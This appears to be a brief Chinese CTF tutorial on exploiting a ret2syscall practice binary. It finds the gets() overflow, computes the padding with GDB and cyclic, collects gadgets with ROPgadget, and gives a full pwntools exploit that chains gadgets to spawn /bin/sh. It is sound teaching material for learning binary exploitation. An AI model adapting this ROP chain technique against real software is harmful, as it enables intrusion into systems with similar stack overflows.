PWN GADGET 入门
checksec
拖入相应的IDA
playload构造
-
漏洞点 gets()
-
无canary,开启栈保护(NX ENABLE),无法直接将shellcode写入栈,需要gadget
-
计算padding
-
IDA反编译直接查看
距离ebp为0x64,根据返回地址在ebp下一个字长处,所以总padding为0x64+0x4
但是失败。IDA有坑!
-
GDB查看栈
填充0x86个a
使用gdb.attach()下断点至gets之后查看栈弹出。
stack 100 查看栈
所以 0x68 + 0x2 -
cyclic计算
payload = cyclic(0x200)
GDB 调试,c至出错,找到对应字符串
cyclic -l 'aaab'
-
寻找gadget
#利用命令
ROPgadget --binary ret2syscall --ropchain #自动生成ROP
ROPgadget --binary [file] --only "pop|ret" #单次查询
ROPgadget --binary ret2syscall > gadgets #输出至文件,适合多次
grep "pop eax ; ret" gadgets #加空格
grep -P "pop ecx .* ret" gadgets #正则
0x08049421 : int 0x80
0x080BE408 :'/bin/sh'
0
0x0806eb91 : pop ecx ; pop ebx ; ret
0
0x0806eb6a : pop edx ; ret
0xb
0x080bb196 : pop eax ; ret
最终exp
# -*- coding:utf-8 -*-
from pwn import *
context.terminal=["tmux","sp","-h"] #tmux配置
io = process("./ret2syscall")
io.recvuntil("What do you plan to do?\n")
payload = "a"*(0x68+0x2) + p32(0x080bb196)+p32(0xb)+p32(0x0806eb6a)+p32(0)+p32(0x0806eb91)+p32(0)+p32(0x080BE408)+p32(0x08049421)
#payload = cyclic(0x200)
#payload = flat([])
gdb.attach(io,"b *0x08048EA0")
io.sendline(payload)
io.interactive()